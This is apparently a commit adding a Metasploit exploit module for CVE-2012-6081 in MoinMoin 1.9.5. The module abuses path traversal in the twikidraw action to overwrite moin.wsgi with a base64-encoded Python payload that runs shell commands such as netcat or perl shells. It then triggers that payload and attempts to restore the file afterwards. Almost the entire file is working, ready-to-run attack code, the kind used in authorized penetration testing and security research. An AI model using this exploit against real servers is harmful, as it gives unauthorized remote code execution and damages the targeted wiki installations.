Add module for CVE-2012-6081
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MoinMoin twikidraw Action Traversal File Upload',
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'Description' => %q{
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This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
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exists on the manage of the twikidraw actions, where a traversal path can be used
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in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
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configurations by overwriting moin.wsgi, which allows to execute arbitrary python
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code, as exploited in the wild on July, 2012. The user is warned to use this module
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at his own risk since it's going to overwrite the moin.wsgi file, required for the
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correct working of the MoinMoin wiki. While the exploit will try to restore the
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attacked application at post exploitation, correct working after all isn't granted.
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},
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'Author' =>
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[
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'Unknown', # Vulnerability discovery
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'HTP', # PoC
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2012-6081' ],
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[ 'OSVDB', '88825' ],
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[ 'BID', '57082' ],
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[ 'EDB', '25304' ],
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[ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ],
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[ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ]
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],
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'Privileged' => false, # web server context
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 16384, # Enough one to fit any payload
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic telnet netcat perl'
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}
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},
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'Platform' => [ 'unix' ],
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'MoinMoin 1.9.5', { }]],
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'DisclosureDate' => 'Dec 30 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),
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OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),
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OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
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OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
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], self.class)
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end
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def moinmoin_template(path)
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template =[]
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template << "# -*- coding: iso-8859-1 -*-"
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template << "import sys, os"
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template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))
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template << "from MoinMoin.web.serving import make_application"
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template << "application = make_application(shared=True)"
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return template
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end
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def restore_file(session, file, contents)
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first = true
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contents.each {|line|
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if first
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session.shell_command_token("echo \"#{line}\" > #{file}")
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first = false
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else
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session.shell_command_token("echo \"#{line}\" >> #{file}")
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end
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}
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end
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# Try to restore a basic moin.wsgi file with the hope of making the
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# application usable again.
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# Try to search on /usr/local/share/moin (default search path) and the
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# current path (apache user home). Avoiding to search on "/" because it
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# could took long time to finish.
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def on_new_session(session)
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print_status("Trying to restore moin.wsgi...")
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begin
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files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")
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files.split.each { |file|
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print_status("#{file} found! Trying to restore...")
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restore_file(session, file, moinmoin_template(file))
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}
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files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")
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files.split.each { |file|
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print_status("#{file} found! Trying to restore...")
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restore_file(session, file, moinmoin_template(file))
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}
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print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")
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rescue
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print_warning("Error while restring moin.wsgi, manual restoring would be required.")
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end
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end
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def do_login(username, password)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(@base),
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'vars_post' =>
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{
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'action' => 'login',
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'name' => username,
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'password' => password,
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'login' => 'Login'
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}
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})
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if not res or res.code != 200 or not res.headers.include?('Set-Cookie')
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return nil
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end
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return res.get_cookies
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end
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def upload_code(session, code)
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vprint_status("Retrieving the ticket...")
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res = send_request_cgi({
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'uri' => normalize_uri(@base, @page),
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'cookie' => session,
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'vars_get' => {
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'action' => 'twikidraw',
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'do' => 'modify',
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'target' => '../../../../moin.wsgi'
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}
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})
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if not res or res.code != 200 or res.body !~ /ticket=(.*?)&target/
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vprint_error("Error retrieving the ticket")
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return nil
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end
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ticket = $1
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vprint_good("Ticket found: #{ticket}")
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my_payload = "[MARK]#{code}[MARK]"
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post_data = Rex::MIME::Message.new
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post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
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post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
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my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(@base, @page),
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'cookie' => session,
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'vars_get' =>
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{
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'action' => 'twikidraw',
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'do' => 'save',
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'ticket' => ticket,
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'target' => '../../../../moin.wsgi'
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},
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'data' => my_data,
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'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
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})
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if not res or res.code != 200 or not res.body.empty?
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vprint_error("Error uploading the payload")
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return nil
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end
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return true
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end
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def check
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@base = target_uri.path
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@base << '/' if @base[-1, 1] != '/'
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res = send_request_cgi({
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'uri' => normalize_uri(@base)
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})
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if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/
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return Exploit::CheckCode::Detected
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elsif res
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return Exploit::CheckCode::Unknown
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end
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return Exploit::CheckCode::Safe
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end
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def writable_page?(session)
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res = send_request_cgi({
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'uri' => normalize_uri(@base, @page),
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'cookie' => session,
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})
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if not res or res.code != 200 or res.body !~ /Edit \(Text\)/
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return false
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end
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return true
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end
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def exploit
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# Init variables
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@page = datastore['WritablePage']
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@base = target_uri.path
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@base << '/' if @base[-1, 1] != '/'
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# Login if needed
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if (datastore['USERNAME'] and
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not datastore['USERNAME'].empty? and
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datastore['PASSWORD'] and
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not datastore['PASSWORD'].empty?)
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print_status("Trying login to get session ID...")
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session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
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else
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print_status("Using anonymous access...")
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session = ""
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end
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# Check authentication
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if not session
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fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials")
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end
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# Check writable permissions
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if not writable_page?(session)
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fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")
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end
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# Upload payload
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print_status("Trying to upload payload...")
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python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"
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res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
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if not res
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fail_with(Exploit::Failure::Unknown, "Error uploading the payload")
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end
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# Execute payload
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print_status("Executing the payload...")
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res = send_request_cgi({
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'uri' => normalize_uri(@base, @page),
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'cookie' => session,
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'vars_get' => {
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'action' => 'AttachFile'
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}
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}, 5)
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end
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end
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